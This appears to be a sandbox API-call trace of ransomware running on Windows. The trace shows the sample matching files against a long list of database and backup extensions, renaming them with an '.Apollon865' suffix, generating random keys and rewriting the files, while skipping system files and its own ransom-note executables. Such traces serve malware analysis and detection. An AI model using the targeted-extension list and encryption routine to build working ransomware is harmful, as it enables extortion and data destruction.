	[0082.009] lstrlenW (lpString="$er") returned 3
	[0082.009] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0082.009] lstrlenW (lpString="4dd") returned 3
	[0082.009] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0082.010] lstrlenW (lpString="4dl") returned 3
	[0082.010] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0082.010] lstrlenW (lpString="^^^") returned 3
	[0082.010] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0082.010] lstrlenW (lpString="abs") returned 3
	[0082.010] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0082.010] lstrlenW (lpString="abx") returned 3
	[0082.010] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0082.010] lstrlenW (lpString="accdb") returned 5
	[0082.010] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0082.010] lstrlenW (lpString="accdc") returned 5
	[0082.010] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0082.010] lstrlenW (lpString="accde") returned 5
	[0082.010] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0082.010] lstrlenW (lpString="accdr") returned 5
	[0082.010] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0082.010] lstrlenW (lpString="accdt") returned 5
	[0082.010] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0082.010] lstrlenW (lpString="accdw") returned 5
	[0082.010] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0082.010] lstrlenW (lpString="accft") returned 5
	[0082.010] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0082.010] lstrlenW (lpString="adb") returned 3
	[0082.010] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.010] lstrlenW (lpString="adb") returned 3
	[0082.010] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.010] lstrlenW (lpString="ade") returned 3
	[0082.010] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0082.010] lstrlenW (lpString="adf") returned 3
	[0082.010] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0082.010] lstrlenW (lpString="adn") returned 3
	[0082.010] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0082.010] lstrlenW (lpString="adp") returned 3
	[0082.010] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0082.010] lstrlenW (lpString="alf") returned 3
	[0082.010] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0082.011] lstrlenW (lpString="ask") returned 3
	[0082.011] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0082.011] lstrlenW (lpString="btr") returned 3
	[0082.011] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0082.011] lstrlenW (lpString="cat") returned 3
	[0082.011] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0082.011] lstrlenW (lpString="cdb") returned 3
	[0082.011] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0082.011] lstrlenW (lpString="ckp") returned 3
	[0082.011] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0082.011] lstrlenW (lpString="cma") returned 3
	[0082.011] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0082.011] lstrlenW (lpString="cpd") returned 3
	[0082.011] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0082.011] lstrlenW (lpString="dacpac") returned 6
	[0082.011] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0082.011] lstrlenW (lpString="dad") returned 3
	[0082.011] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0082.011] lstrlenW (lpString="dadiagrams") returned 10
	[0082.011] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0082.011] lstrlenW (lpString="daschema") returned 8
	[0082.011] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0082.011] lstrlenW (lpString="db-journal") returned 10
	[0082.011] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0082.011] lstrlenW (lpString="db-shm") returned 6
	[0082.011] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0082.011] lstrlenW (lpString="db-wal") returned 6
	[0082.011] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0082.011] lstrlenW (lpString="dbc") returned 3
	[0082.011] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0082.011] lstrlenW (lpString="dbs") returned 3
	[0082.011] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0082.011] lstrlenW (lpString="dbt") returned 3
	[0082.011] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0082.011] lstrlenW (lpString="dbv") returned 3
	[0082.011] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0082.011] lstrlenW (lpString="dbx") returned 3
	[0082.011] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0082.011] lstrlenW (lpString="dcb") returned 3
	[0082.012] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0082.012] lstrlenW (lpString="dct") returned 3
	[0082.012] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0082.012] lstrlenW (lpString="dcx") returned 3
	[0082.012] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0082.012] lstrlenW (lpString="ddl") returned 3
	[0082.012] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0082.012] lstrlenW (lpString="dlis") returned 4
	[0082.012] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0082.012] lstrlenW (lpString="dp1") returned 3
	[0082.012] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0082.012] lstrlenW (lpString="dqy") returned 3
	[0082.012] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0082.012] lstrlenW (lpString="dsk") returned 3
	[0082.012] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0082.012] lstrlenW (lpString="dsn") returned 3
	[0082.012] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0082.012] lstrlenW (lpString="dtsx") returned 4
	[0082.012] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0082.012] lstrlenW (lpString="dxl") returned 3
	[0082.012] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0082.012] lstrlenW (lpString="eco") returned 3
	[0082.012] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0082.012] lstrlenW (lpString="ecx") returned 3
	[0082.012] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0082.012] lstrlenW (lpString="edb") returned 3
	[0082.012] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0082.012] lstrlenW (lpString="epim") returned 4
	[0082.012] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0082.012] lstrlenW (lpString="fcd") returned 3
	[0082.012] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0082.012] lstrlenW (lpString="fdb") returned 3
	[0082.012] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0082.012] lstrlenW (lpString="fic") returned 3
	[0082.012] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0082.012] lstrlenW (lpString="flexolibrary") returned 12
	[0082.012] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0082.012] lstrlenW (lpString="fm5") returned 3
	[0082.013] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0082.013] lstrlenW (lpString="fmp") returned 3
	[0082.013] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0082.013] lstrlenW (lpString="fmp12") returned 5
	[0082.013] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0082.013] lstrlenW (lpString="fmpsl") returned 5
	[0082.013] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0082.013] lstrlenW (lpString="fol") returned 3
	[0082.013] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0082.013] lstrlenW (lpString="fp3") returned 3
	[0082.013] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0082.013] lstrlenW (lpString="fp4") returned 3
	[0082.013] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0082.013] lstrlenW (lpString="fp5") returned 3
	[0082.013] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0082.013] lstrlenW (lpString="fp7") returned 3
	[0082.013] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0082.013] lstrlenW (lpString="fpt") returned 3
	[0082.013] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0082.013] lstrlenW (lpString="frm") returned 3
	[0082.013] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0082.013] lstrlenW (lpString="gdb") returned 3
	[0082.013] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.013] lstrlenW (lpString="gdb") returned 3
	[0082.013] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.013] lstrlenW (lpString="grdb") returned 4
	[0082.013] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0082.013] lstrlenW (lpString="gwi") returned 3
	[0082.013] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0082.013] lstrlenW (lpString="hdb") returned 3
	[0082.013] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0082.013] lstrlenW (lpString="his") returned 3
	[0082.013] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0082.013] lstrlenW (lpString="ib") returned 2
	[0082.013] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0082.013] lstrlenW (lpString="idb") returned 3
	[0082.013] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0082.014] lstrlenW (lpString="ihx") returned 3
	[0082.014] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0082.014] lstrlenW (lpString="itdb") returned 4
	[0082.014] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0082.014] lstrlenW (lpString="itw") returned 3
	[0082.014] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0082.014] lstrlenW (lpString="jet") returned 3
	[0082.014] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0082.014] lstrlenW (lpString="jtx") returned 3
	[0082.014] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0082.014] lstrlenW (lpString="kdb") returned 3
	[0082.014] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0082.014] lstrlenW (lpString="kexi") returned 4
	[0082.014] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0082.014] lstrlenW (lpString="kexic") returned 5
	[0082.014] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0082.014] lstrlenW (lpString="kexis") returned 5
	[0082.014] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0082.014] lstrlenW (lpString="lgc") returned 3
	[0082.014] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0082.014] lstrlenW (lpString="lwx") returned 3
	[0082.014] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0082.014] lstrlenW (lpString="maf") returned 3
	[0082.014] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0082.014] lstrlenW (lpString="maq") returned 3
	[0082.014] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0082.014] lstrlenW (lpString="mar") returned 3
	[0082.014] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0082.014] lstrlenW (lpString="marshal") returned 7
	[0082.014] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0082.014] lstrlenW (lpString="mas") returned 3
	[0082.014] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0082.014] lstrlenW (lpString="mav") returned 3
	[0082.014] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0082.014] lstrlenW (lpString="maw") returned 3
	[0082.014] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0082.014] lstrlenW (lpString="mdbhtml") returned 7
	[0082.014] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0082.015] lstrlenW (lpString="mdn") returned 3
	[0082.015] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0082.015] lstrlenW (lpString="mdt") returned 3
	[0082.015] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0082.015] lstrlenW (lpString="mfd") returned 3
	[0082.015] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0082.015] lstrlenW (lpString="mpd") returned 3
	[0082.015] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0082.015] lstrlenW (lpString="mrg") returned 3
	[0082.015] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0082.015] lstrlenW (lpString="mud") returned 3
	[0082.015] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0082.015] lstrlenW (lpString="mwb") returned 3
	[0082.015] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0082.015] lstrlenW (lpString="myd") returned 3
	[0082.015] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0082.015] lstrlenW (lpString="ndf") returned 3
	[0082.015] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0082.015] lstrlenW (lpString="nnt") returned 3
	[0082.015] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0082.015] lstrlenW (lpString="nrmlib") returned 6
	[0082.015] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0082.015] lstrlenW (lpString="ns2") returned 3
	[0082.015] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0082.015] lstrlenW (lpString="ns3") returned 3
	[0082.015] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0082.015] lstrlenW (lpString="ns4") returned 3
	[0082.015] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0082.015] lstrlenW (lpString="nsf") returned 3
	[0082.015] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0082.015] lstrlenW (lpString="nv") returned 2
	[0082.015] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0082.015] lstrlenW (lpString="nv2") returned 3
	[0082.015] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0082.015] lstrlenW (lpString="nwdb") returned 4
	[0082.015] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0082.015] lstrlenW (lpString="nyf") returned 3
	[0082.015] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0082.016] lstrlenW (lpString="odb") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.016] lstrlenW (lpString="odb") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.016] lstrlenW (lpString="oqy") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0082.016] lstrlenW (lpString="ora") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0082.016] lstrlenW (lpString="orx") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0082.016] lstrlenW (lpString="owc") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0082.016] lstrlenW (lpString="p96") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0082.016] lstrlenW (lpString="p97") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0082.016] lstrlenW (lpString="pan") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0082.016] lstrlenW (lpString="pdb") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0082.016] lstrlenW (lpString="pdm") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0082.016] lstrlenW (lpString="pnz") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0082.016] lstrlenW (lpString="qry") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0082.016] lstrlenW (lpString="qvd") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0082.016] lstrlenW (lpString="rbf") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0082.016] lstrlenW (lpString="rctd") returned 4
	[0082.016] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0082.016] lstrlenW (lpString="rod") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0082.016] lstrlenW (lpString="rodx") returned 4
	[0082.016] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0082.016] lstrlenW (lpString="rpd") returned 3
	[0082.016] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0082.016] lstrlenW (lpString="rsd") returned 3
	[0082.017] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0082.017] lstrlenW (lpString="sas7bdat") returned 8
	[0082.017] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0082.017] lstrlenW (lpString="sbf") returned 3
	[0082.017] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0082.017] lstrlenW (lpString="scx") returned 3
	[0082.017] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0082.017] lstrlenW (lpString="sdb") returned 3
	[0082.017] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0082.017] lstrlenW (lpString="sdc") returned 3
	[0082.017] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0082.017] lstrlenW (lpString="sdf") returned 3
	[0082.017] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0082.017] lstrlenW (lpString="sis") returned 3
	[0082.017] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0082.017] lstrlenW (lpString="spq") returned 3
	[0082.017] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0082.017] lstrlenW (lpString="te") returned 2
	[0082.017] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0082.017] lstrlenW (lpString="teacher") returned 7
	[0082.017] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0082.017] lstrlenW (lpString="tmd") returned 3
	[0082.017] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0082.017] lstrlenW (lpString="tps") returned 3
	[0082.017] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0082.017] lstrlenW (lpString="trc") returned 3
	[0082.017] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.017] lstrlenW (lpString="trc") returned 3
	[0082.017] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.017] lstrlenW (lpString="trm") returned 3
	[0082.017] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0082.017] lstrlenW (lpString="udb") returned 3
	[0082.017] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0082.017] lstrlenW (lpString="udl") returned 3
	[0082.017] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0082.017] lstrlenW (lpString="usr") returned 3
	[0082.017] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0082.017] lstrlenW (lpString="v12") returned 3
	[0082.018] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0082.018] lstrlenW (lpString="vis") returned 3
	[0082.018] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0082.018] lstrlenW (lpString="vpd") returned 3
	[0082.018] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0082.018] lstrlenW (lpString="vvv") returned 3
	[0082.018] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0082.018] lstrlenW (lpString="wdb") returned 3
	[0082.018] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0082.018] lstrlenW (lpString="wmdb") returned 4
	[0082.018] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0082.018] lstrlenW (lpString="wrk") returned 3
	[0082.018] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0082.018] lstrlenW (lpString="xdb") returned 3
	[0082.018] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0082.018] lstrlenW (lpString="xld") returned 3
	[0082.018] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0082.018] lstrlenW (lpString="xmlff") returned 5
	[0082.018] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0082.018] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll.Apollon865") returned 80
	[0082.018] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\sgres.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\sgres.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0082.027] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\sgres.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0082.027] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=13152) returned 1
	[0082.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0082.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0082.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0082.027] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0082.028] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0082.028] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.028] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3660, lpName=0x0) returned 0x15c
	[0082.030] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3660) returned 0x100000
	[0082.039] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0082.040] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0082.040] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.040] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0082.040] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0082.040] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0082.040] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0082.040] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0082.040] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0082.040] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0082.040] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0082.040] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0082.040] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0082.040] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0082.041] CloseHandle (hObject=0x15c) returned 1
	[0082.041] CloseHandle (hObject=0x9c) returned 1
	[0082.041] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0082.041] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0082.041] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0082.041] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca190500, ftCreationTime.dwHighDateTime=0x1cac7f6, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xca190500, ftLastWriteTime.dwHighDateTime=0x1cac7f6, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STINTL.DLL.trx_dll", cAlternateFileName="STINTL~1.TRX")) returned 1
	[0082.041] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0082.041] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0082.041] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".") returned 1
	[0082.041] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="..") returned 1
	[0082.041] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="windows") returned -1
	[0082.041] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0082.041] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="temp") returned -1
	[0082.041] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0082.041] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="boot") returned 1
	[0082.041] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0082.041] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0082.041] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="perflogs") returned 1
	[0082.041] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0082.042] lstrlenW (lpString="STINTL.DLL.trx_dll") returned 18
	[0082.042] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll") returned 69
	[0082.042] lstrcpyW (in: lpString1=0x119e670, lpString2="STINTL.DLL.trx_dll" | out: lpString1="STINTL.DLL.trx_dll") returned="STINTL.DLL.trx_dll"
	[0082.042] lstrlenW (lpString="STINTL.DLL.trx_dll") returned 18
	[0082.042] lstrlenW (lpString="Apollon865") returned 10
	[0082.042] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0082.042] lstrlenW (lpString=".dll") returned 4
	[0082.042] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0082.042] lstrlenW (lpString=".lnk") returned 4
	[0082.042] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0082.042] lstrlenW (lpString=".ini") returned 4
	[0082.042] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0082.042] lstrlenW (lpString=".sys") returned 4
	[0082.042] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0082.042] lstrlenW (lpString="STINTL.DLL.trx_dll") returned 18
	[0082.042] lstrlenW (lpString="bak") returned 3
	[0082.042] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0082.042] lstrlenW (lpString="ba_") returned 3
	[0082.042] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0082.042] lstrlenW (lpString="dbb") returned 3
	[0082.042] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0082.042] lstrlenW (lpString="vmdk") returned 4
	[0082.042] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0082.042] lstrlenW (lpString="rar") returned 3
	[0082.042] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0082.042] lstrlenW (lpString="zip") returned 3
